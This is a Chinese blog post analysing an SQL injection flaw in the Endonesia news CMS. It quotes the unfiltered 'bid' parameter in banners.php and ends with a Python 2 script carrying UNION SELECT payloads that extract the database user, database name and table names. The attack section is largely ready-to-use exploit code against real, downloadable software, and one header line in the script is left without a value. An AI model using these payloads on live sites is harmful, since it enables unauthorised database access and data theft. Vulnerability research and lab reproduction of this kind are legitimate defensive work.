国外某CMS注入漏洞简单分析附payload

前言,继续闲聊

最近在某个平台上把17年所有的CVE详细信息都爬下来了,一个文档34M多,放星球上了。也想借此机会做一个漏洞库,长期做下去,欢迎有志同道合,有分享精神的的伙伴一起,资源共享。

一直都想做一个漏洞库,给团队作为工具使用,同时也作为团队学习的工具。

漏洞环境介绍

CMS的名称是Endonesia

CMS的作用是一个简单的新闻网站,没有什么框架,审计起来比较简单。

下载的网址是:https://endonesia.sourceforge.io/

复现的环境是:kail+apache2+php7+mysql

安装的方式:直接按照install.txt中的步骤傻瓜式安装,然后配置。

漏洞分析

没有使用工具,直接静态分析发现了一个注入点,带回显的注入点。

漏洞的位置在于banners.php 第73行:

function clickbanner() {
include "dbconnect.php";
$bid =$_REQUEST['bid'];
$bresult = mysqli_query($dbconnect,"select clickurl from banner where bid=$bid");
list($clickurl) = mysqli_fetch_row($bresult);
mysqli_query($dbconnect,"update banner set clicks=clicks+1 where bid=$bid");
mysqli_free_result($bresult);
Header("Location: $clickurl");
}

逻辑也比较简单:

请求一个bid参数,没有经过任何过滤,直接带入查询,然后返回的是一个 $clickurl,直接变成location参数返回给用户,但是在浏览器上不好测试,因为默认就认识location的值是一个url直接跳转了,可以在burpsuit上测试,然后寻找调用的方式:

$op = isset($_REQUEST['op']) ? $_REQUEST['op'] : "";

switch($op) {

    case "click":
    clickbanner();
    break;

    case "clientlogin":
    clientlogin();
    break;

    case "Ok":
    bannerstats();
    break;

所以攻击的url就是:

http://192.168.43.35/banners.php?op=click&bid=

然后写一个脚本优雅的测试:

import requests
url = 'http://192.168.43.35/banners.php?op=click&bid='
def bool(url):
    headers = {
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Connection':'keep-alive',
    'Upgrade-Insecure-Requests':
    }
    try:
        s = requests.Session()
        req = requests.get(url,headers = headers,allow_redirects=False)
        if req.headers['location']!='':
            # print 
            return req.headers['location']
        else:
            return False
    except Exception ,e:
        print Exception
        return False
payload = {}
payload['user'] = url+'-1 and 1=1 union select  user() from information_schema.tables'
payload['db'] = url+'-1 and 1=1 union select  database() from information_schema.tables'
payload['tables'] = url+'-1 and 1=1 union select  group_concat(table_name) from information_schema.tables where table_schema = database()'
for k in payload:
    print k,':',bool(payload[k])

在这CMS里面,bid注入点还有很多,还有些CSRF,xss,代码注入,不再分析。

原文发布于微信公众号 - 无级安全(wujisec)

原文发表时间:2019-03-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券